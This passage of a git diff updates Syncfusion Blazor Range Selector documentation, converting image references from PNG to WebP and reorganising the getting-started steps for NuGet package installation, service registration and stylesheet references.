+![Blazor RangeNavigator with Custom Label Format](images/data/blazor-rangenavigator-custom-label-format.webp)
 
 ## Logarithmic
 
@@ -296,7 +296,7 @@ The Logarithmic supports the logarithmic scale, and it is used to visualize the
 
 ```
 
-![Blazor RangeNavigator with Logarithmic](images/data/blazor-rangenavigator-with-logarithmic.png)
+![Blazor RangeNavigator with Logarithmic](images/data/blazor-rangenavigator-with-logarithmic.webp)
 
 ### Range
 
@@ -349,7 +349,7 @@ The minimum and the maximum of the Range Selector will be calculated automatical
 
 ```
 
-![Blazor RangeNavigator with Logarithmic Range](images/data/blazor-rangenavigator-logarithmic-range.png)
+![Blazor RangeNavigator with Logarithmic Range](images/data/blazor-rangenavigator-logarithmic-range.webp)
 
 ### Logarithmic Base
 
@@ -402,7 +402,7 @@ The Logarithmic Base can be customized using the [LogBase](https://help.syncfusi
 
 ```
 
-![Blazor RangeNavigator with Logarithmic Base](images/data/blazor-rangenavigator-logarithmic-base.png)
+![Blazor RangeNavigator with Logarithmic Base](images/data/blazor-rangenavigator-logarithmic-base.webp)
 
 ## DateTime
 
@@ -443,7 +443,7 @@ The Range Selector supports the DateTime scale and displays the DateTime values
 
 ```
 
-![Blazor RangeNavigator with DateTime](images/data/blazor-rangenavigator-datetime.png)
+![Blazor RangeNavigator with DateTime](images/data/blazor-rangenavigator-datetime.webp)
 
 ### Interval Customization
 
@@ -494,7 +494,7 @@ DateTime supports the following interval types:
 
 ```
 
-![Customizing DateTime Interval in Blazor RangeNavigator](images/data/blazor-rangenavigator-datetime-interval.png)
+![Customizing DateTime Interval in Blazor RangeNavigator](images/data/blazor-rangenavigator-datetime-interval.webp)
 
 ### Label Format
 
@@ -534,7 +534,7 @@ The [LabelFormat](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts
 
 ```
 
-![Blazor RangeNavigator with DateTime Label Format](images/data/blazor-rangenavigator-datetime-format.png)
+![Blazor RangeNavigator with DateTime Label Format](images/data/blazor-rangenavigator-datetime-format.webp)
 
 The following table shows the results of applying some common DateTime formats to the [LabelFormat](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SfRangeNavigator.html#Syncfusion_Blazor_Charts_SfRangeNavigator_LabelFormat) property.
 
diff --git a/blazor/range-selector/getting-started-webapp.md b/blazor/range-selector/getting-started-webapp.md
index f0b754469e..120350d17b 100644
--- a/blazor/range-selector/getting-started-webapp.md
+++ b/blazor/range-selector/getting-started-webapp.md
@@ -219,7 +219,7 @@ Now map `Date` and `Close` fields from the datasource to [XName](https://help.sy
 
 Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Range Selector component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZrJDWAtULnzQnOO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor RangeNavigator Component](images/blazor-range-navigator.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZrJDWAtULnzQnOO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor RangeNavigator Component](images/blazor-range-navigator.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/RangeSelector).
 
diff --git a/blazor/range-selector/getting-started.md b/blazor/range-selector/getting-started.md
index 1d71003a93..4e3eaca2a8 100644
--- a/blazor/range-selector/getting-started.md
+++ b/blazor/range-selector/getting-started.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor Range Selector (RangeNavigator) Component
 
-This section briefly explains about how to include [Blazor Range Selector](https://www.syncfusion.com/blazor-components/blazor-range-selector) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Range Selector](https://www.syncfusion.com/blazor-components/blazor-range-selector) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -23,23 +23,6 @@ This section briefly explains about how to include [Blazor Range Selector](https
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor RangeNavigator and Themes NuGet in the App
-
-To add the **Blazor Range Selector** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.RangeNavigator](https://www.nuget.org/packages/Syncfusion.Blazor.RangeNavigator) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.RangeNavigator -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -52,7 +35,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -65,26 +48,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor RangeNavigator and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following command to install the [Syncfusion.Blazor.RangeNavigator](https://www.nuget.org/packages/Syncfusion.Blazor.RangeNavigator) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.RangeNavigator -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -103,7 +66,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -114,29 +77,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor RangeNavigator and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.RangeNavigator](https://www.nuget.org/packages/Syncfusion.Blazor.RangeNavigator/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
 
-To add the **Blazor Range Selector** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.RangeNavigator](https://www.nuget.org/packages/Syncfusion.Blazor.RangeNavigator/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.RangeNavigator -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.RangeNavigator -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
-{% endtabcontent %}
-
-{% endtabcontents %}
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-## Add Import Namespaces
+## Add import namespaces
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Charts` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Charts` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -147,25 +111,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -173,24 +129,24 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor Range Selector component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Range Selector component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Range Selector component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 <SfRangeNavigator>
 
@@ -204,7 +160,7 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Range Selector c
 To bind the data for the Range Navigator component, assign a `IEnumerable` object to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.RangeNavigatorSeries.html#Syncfusion_Blazor_Charts_RangeNavigatorSeries_DataSource) property. It can also be provided as an instance of the [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataManager.html).
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 @code {
     public class StockPrice
@@ -231,7 +187,7 @@ To bind the data for the Range Navigator component, assign a `IEnumerable` objec
 Now map `Date` and `Close` fields from the datasource to [XName](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.RangeNavigatorSeries.html#Syncfusion_Blazor_Charts_RangeNavigatorSeries_XName) and [YName](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.RangeNavigatorSeries.html#Syncfusion_Blazor_Charts_RangeNavigatorSeries_YName) properties of the [RangeNavigatorSeries](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.RangeNavigatorSeries.html) and then set the `StockDetails` to [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.RangeNavigatorSeries.html#Syncfusion_Blazor_Charts_RangeNavigatorSeries_DataSource) property.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 <SfRangeNavigator ValueType="RangeValueType.DateTime" IntervalType="RangeIntervalType.Years" LabelFormat="yyyy">
     <RangeNavigatorSeriesCollection>
@@ -244,7 +200,7 @@ Now map `Date` and `Close` fields from the datasource to [XName](https://help.sy
 
 Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Range Selector component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZrJDWAtULnzQnOO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor RangeNavigator Component](images/blazor-range-navigator.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZrJDWAtULnzQnOO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor RangeNavigator Component](images/blazor-range-navigator.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/RangeSelector).
 
diff --git a/blazor/range-selector/grid-tick.md b/blazor/range-selector/grid-tick.md
index 245097dfb2..565305c264 100644
--- a/blazor/range-selector/grid-tick.md
+++ b/blazor/range-selector/grid-tick.md
@@ -46,7 +46,7 @@ The gridlines indicate axis divisions by drawing the chart plot. Gridlines inclu
 
 ```
 
-![Blazor RangeNavigator with grid line](images/grid-tick/blazor-rangenavigator-grid-line.png)
+![Blazor RangeNavigator with grid line](images/grid-tick/blazor-rangenavigator-grid-line.webp)
 
 ## Tickline Customization
 
@@ -85,4 +85,4 @@ Ticklines are the small lines which is drawn on the axis line representing the a
 
 ```
 
-![Blazor RangeNavigator with tick line](images/grid-tick/blazor-rangenavigator-tick-line.png)
\ No newline at end of file
+![Blazor RangeNavigator with tick line](images/grid-tick/blazor-rangenavigator-tick-line.webp)
\ No newline at end of file
diff --git a/blazor/range-selector/images/blazor-create-web-app.png b/blazor/range-selector/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/range-selector/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/range-selector/images/blazor-create-web-app.webp b/blazor/range-selector/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/range-selector/images/blazor-create-web-app.webp differ
diff --git a/blazor/range-selector/images/blazor-range-navigator.png b/blazor/range-selector/images/blazor-range-navigator.png
deleted file mode 100644
index c0ff501967..0000000000
Binary files a/blazor/range-selector/images/blazor-range-navigator.png and /dev/null differ
diff --git a/blazor/range-selector/images/blazor-range-navigator.webp b/blazor/range-selector/images/blazor-range-navigator.webp
new file mode 100644
index 0000000000..29e5162095
Binary files /dev/null and b/blazor/range-selector/images/blazor-range-navigator.webp differ
diff --git a/blazor/range-selector/images/blazor-wasm-app-template.png b/blazor/range-selector/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/range-selector/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/range-selector/images/blazor-wasm-app-template.webp b/blazor/range-selector/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/range-selector/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/range-selector/images/client-side.png b/blazor/range-selector/images/client-side.png
deleted file mode 100644
index a4d49081c6..0000000000
Binary files a/blazor/range-selector/images/client-side.png and /dev/null differ
diff --git a/blazor/range-selector/images/client-side.webp b/blazor/range-selector/images/client-side.webp
new file mode 100644
index 0000000000..bf199d2e97
Binary files /dev/null and b/blazor/range-selector/images/client-side.webp differ
diff --git a/blazor/range-selector/images/common/blazor-rangenavigator-light-weight.png b/blazor/range-selector/images/common/blazor-rangenavigator-light-weight.png
deleted file mode 100644
index b721f00dde..0000000000
Binary files a/blazor/range-selector/images/common/blazor-rangenavigator-light-weight.png and /dev/null differ
diff --git a/blazor/range-selector/images/common/blazor-rangenavigator-light-weight.webp b/blazor/range-selector/images/common/blazor-rangenavigator-light-weight.webp
new file mode 100644
index 0000000000..9fc4770cba
Binary files /dev/null and b/blazor/range-selector/images/common/blazor-rangenavigator-light-weight.webp differ
diff --git a/blazor/range-selector/images/common/blazor-rangenavigator-range-selection.png b/blazor/range-selector/images/common/blazor-rangenavigator-range-selection.png
deleted file mode 100644
index 9f1c872a5e..0000000000
Binary files a/blazor/range-selector/images/common/blazor-rangenavigator-range-selection.png and /dev/null differ
diff --git a/blazor/range-selector/images/common/blazor-rangenavigator-range-selection.webp b/blazor/range-selector/images/common/blazor-rangenavigator-range-selection.webp
new file mode 100644
index 0000000000..31eee93e51
Binary files /dev/null and b/blazor/range-selector/images/common/blazor-rangenavigator-range-selection.webp differ
diff --git a/blazor/range-selector/images/common/blazor-rangenavigator-rght-to-left.png b/blazor/range-selector/images/common/blazor-rangenavigator-rght-to-left.png
deleted file mode 100644
index 62b5372d58..0000000000
Binary files a/blazor/range-selector/images/common/blazor-rangenavigator-rght-to-left.png and /dev/null differ
diff --git a/blazor/range-selector/images/common/blazor-rangenavigator-rght-to-left.webp b/blazor/range-selector/images/common/blazor-rangenavigator-rght-to-left.webp
new file mode 100644
index 0000000000..91c827a270
Binary files /dev/null and b/blazor/range-selector/images/common/blazor-rangenavigator-rght-to-left.webp differ
diff --git a/blazor/range-selector/images/custom/blazor-rangenavigator-custom-appearance.png b/blazor/range-selector/images/custom/blazor-rangenavigator-custom-appearance.png
deleted file mode 100644
index f09d6d2a6a..0000000000
Binary files a/blazor/range-selector/images/custom/blazor-rangenavigator-custom-appearance.png and /dev/null differ
diff --git a/blazor/range-selector/images/custom/blazor-rangenavigator-custom-appearance.webp b/blazor/range-selector/images/custom/blazor-rangenavigator-custom-appearance.webp
new file mode 100644
index 0000000000..14874e0044
Binary files /dev/null and b/blazor/range-selector/images/custom/blazor-rangenavigator-custom-appearance.webp differ
diff --git a/blazor/range-selector/images/custom/blazor-rangenavigator-thumb.png b/blazor/range-selector/images/custom/blazor-rangenavigator-thumb.png
deleted file mode 100644
index cbca5ca879..0000000000
Binary files a/blazor/range-selector/images/custom/blazor-rangenavigator-thumb.png and /dev/null differ
diff --git a/blazor/range-selector/images/custom/blazor-rangenavigator-thumb.webp b/blazor/range-selector/images/custom/blazor-rangenavigator-thumb.webp
new file mode 100644
index 0000000000..a19819a1fe
Binary files /dev/null and b/blazor/range-selector/images/custom/blazor-rangenavigator-thumb.webp differ
diff --git a/blazor/range-selector/images/custom/blazor-rangenavigator-with-border.png b/blazor/range-selector/images/custom/blazor-rangenavigator-with-border.png
deleted file mode 100644
index c19e5911b8..0000000000
Binary files a/blazor/range-selector/images/custom/blazor-rangenavigator-with-border.png and /dev/null differ
diff --git a/blazor/range-selector/images/custom/blazor-rangenavigator-with-border.webp b/blazor/range-selector/images/custom/blazor-rangenavigator-with-border.webp
new file mode 100644
index 0000000000..b09a3c9a58
Binary files /dev/null and b/blazor/range-selector/images/custom/blazor-rangenavigator-with-border.webp differ
diff --git a/blazor/range-selector/images/data/blazor-rangenavigator-custom-label-format.png b/blazor/range-selector/images/data/blazor-rangenavigator-custom-label-format.png
deleted file mode 100644
index dcfde6999d..0000000000
Binary files a/blazor/range-selector/images/data/blazor-rangenavigator-custom-label-format.png and /dev/null differ
diff --git a/blazor/range-selector/images/data/blazor-rangenavigator-custom-label-format.webp b/blazor/range-selector/images/data/blazor-rangenavigator-custom-label-format.webp
new file mode 100644
index 0000000000..3e7b5ef447
Binary files /dev/null and b/blazor/range-selector/images/data/blazor-rangenavigator-custom-label-format.webp differ
diff --git a/blazor/range-selector/images/data/blazor-rangenavigator-datetime-format.png b/blazor/range-selector/images/data/blazor-rangenavigator-datetime-format.png
deleted file mode 100644
index d9dc7cbea5..0000000000
Binary files a/blazor/range-selector/images/data/blazor-rangenavigator-datetime-format.png and /dev/null differ
diff --git a/blazor/range-selector/images/data/blazor-rangenavigator-datetime-format.webp b/blazor/range-selector/images/data/blazor-rangenavigator-datetime-format.webp
new file mode 100644
index 0000000000..88ab24c7b3
Binary files /dev/null and b/blazor/range-selector/images/data/blazor-rangenavigator-datetime-format.webp differ
diff --git a/blazor/range-selector/images/data/blazor-rangenavigator-datetime-interval.png b/blazor/range-selector/images/data/blazor-rangenavigator-datetime-interval.png
deleted file mode 100644
index fce102b652..0000000000
Binary files a/blazor/range-selector/images/data/blazor-rangenavigator-datetime-interval.png and /dev/null differ
diff --git a/blazor/range-selector/images/data/blazor-rangenavigator-datetime-interval.webp b/blazor/range-selector/images/data/blazor-rangenavigator-datetime-interval.webp
new file mode 100644
index 0000000000..6feb639ca4
Binary files /dev/null and b/blazor/range-selector/images/data/blazor-rangenavigator-datetime-interval.webp differ
diff --git a/blazor/range-selector/images/data/blazor-rangenavigator-datetime.png b/blazor/range-selector/images/data/blazor-rangenavigator-datetime.png
deleted file mode 100644
index ef2276fe94..0000000000
Binary files a/blazor/range-selector/images/data/blazor-rangenavigator-datetime.png and /dev/null differ
diff --git a/blazor/range-selector/images/data/blazor-rangenavigator-datetime.webp b/blazor/range-selector/images/data/blazor-rangenavigator-datetime.webp
new file mode 100644
index 0000000000..eede15d312
Binary files /dev/null and b/blazor/range-selector/images/data/blazor-rangenavigator-datetime.webp differ
diff --git a/blazor/range-selector/images/data/blazor-rangenavigator-label-format.png b/blazor/range-selector/images/data/blazor-rangenavigator-label-format.png
deleted file mode 100644
index c902a536f5..0000000000
Binary files a/blazor/range-selector/images/data/blazor-rangenavigator-label-format.png and /dev/null differ
diff --git a/blazor/range-selector/images/data/blazor-rangenavigator-label-format.webp b/blazor/range-selector/images/data/blazor-rangenavigator-label-format.webp
new file mode 100644
index 0000000000..407ef32a97
Binary files /dev/null and b/blazor/range-selector/images/data/blazor-rangenavigator-label-format.webp differ
diff --git a/blazor/range-selector/images/data/blazor-rangenavigator-logarithmic-base.png b/blazor/range-selector/images/data/blazor-rangenavigator-logarithmic-base.png
deleted file mode 100644
index 21d8aaacae..0000000000
Binary files a/blazor/range-selector/images/data/blazor-rangenavigator-logarithmic-base.png and /dev/null differ
diff --git a/blazor/range-selector/images/data/blazor-rangenavigator-logarithmic-base.webp b/blazor/range-selector/images/data/blazor-rangenavigator-logarithmic-base.webp
new file mode 100644
index 0000000000..8cf1684847
Binary files /dev/null and b/blazor/range-selector/images/data/blazor-rangenavigator-logarithmic-base.webp differ
diff --git a/blazor/range-selector/images/data/blazor-rangenavigator-logarithmic-range.png b/blazor/range-selector/images/data/blazor-rangenavigator-logarithmic-range.png
deleted file mode 100644
index c52b08abfd..0000000000
Binary files a/blazor/range-selector/images/data/blazor-rangenavigator-logarithmic-range.png and /dev/null differ
diff --git a/blazor/range-selector/images/data/blazor-rangenavigator-logarithmic-range.webp b/blazor/range-selector/images/data/blazor-rangenavigator-logarithmic-range.webp
new file mode 100644
index 0000000000..c10bbc1365
Binary files /dev/null and b/blazor/range-selector/images/data/blazor-rangenavigator-logarithmic-range.webp differ
diff --git a/blazor/range-selector/images/data/blazor-rangenavigator-numeric-range.png b/blazor/range-selector/images/data/blazor-rangenavigator-numeric-range.png
deleted file mode 100644
index 562e2d4baa..0000000000
Binary files a/blazor/range-selector/images/data/blazor-rangenavigator-numeric-range.png and /dev/null differ
diff --git a/blazor/range-selector/images/data/blazor-rangenavigator-numeric-range.webp b/blazor/range-selector/images/data/blazor-rangenavigator-numeric-range.webp
new file mode 100644
index 0000000000..2781053419
Binary files /dev/null and b/blazor/range-selector/images/data/blazor-rangenavigator-numeric-range.webp differ
diff --git a/blazor/range-selector/images/data/blazor-rangenavigator-numeric-scale.png b/blazor/range-selector/images/data/blazor-rangenavigator-numeric-scale.png
deleted file mode 100644
index c1903f593b..0000000000
Binary files a/blazor/range-selector/images/data/blazor-rangenavigator-numeric-scale.png and /dev/null differ
diff --git a/blazor/range-selector/images/data/blazor-rangenavigator-numeric-scale.webp b/blazor/range-selector/images/data/blazor-rangenavigator-numeric-scale.webp
new file mode 100644
index 0000000000..2cde8a0417
Binary files /dev/null and b/blazor/range-selector/images/data/blazor-rangenavigator-numeric-scale.webp differ
diff --git a/blazor/range-selector/images/data/blazor-rangenavigator-with-logarithmic.png b/blazor/range-selector/images/data/blazor-rangenavigator-with-logarithmic.png
deleted file mode 100644
index efd4466abf..0000000000
Binary files a/blazor/range-selector/images/data/blazor-rangenavigator-with-logarithmic.png and /dev/null differ
diff --git a/blazor/range-selector/images/data/blazor-rangenavigator-with-logarithmic.webp b/blazor/range-selector/images/data/blazor-rangenavigator-with-logarithmic.webp
new file mode 100644
index 0000000000..8433d52c8e
Binary files /dev/null and b/blazor/range-selector/images/data/blazor-rangenavigator-with-logarithmic.webp differ
diff --git a/blazor/range-selector/images/frame-work.png b/blazor/range-selector/images/frame-work.png
deleted file mode 100644
index 50082a3d37..0000000000
Binary files a/blazor/range-selector/images/frame-work.png and /dev/null differ
diff --git a/blazor/range-selector/images/frame-work.webp b/blazor/range-selector/images/frame-work.webp
new file mode 100644
index 0000000000..11187f3630
Binary files /dev/null and b/blazor/range-selector/images/frame-work.webp differ
diff --git a/blazor/range-selector/images/grid-tick/blazor-rangenavigator-grid-line.png b/blazor/range-selector/images/grid-tick/blazor-rangenavigator-grid-line.png
deleted file mode 100644
index 03249b6686..0000000000
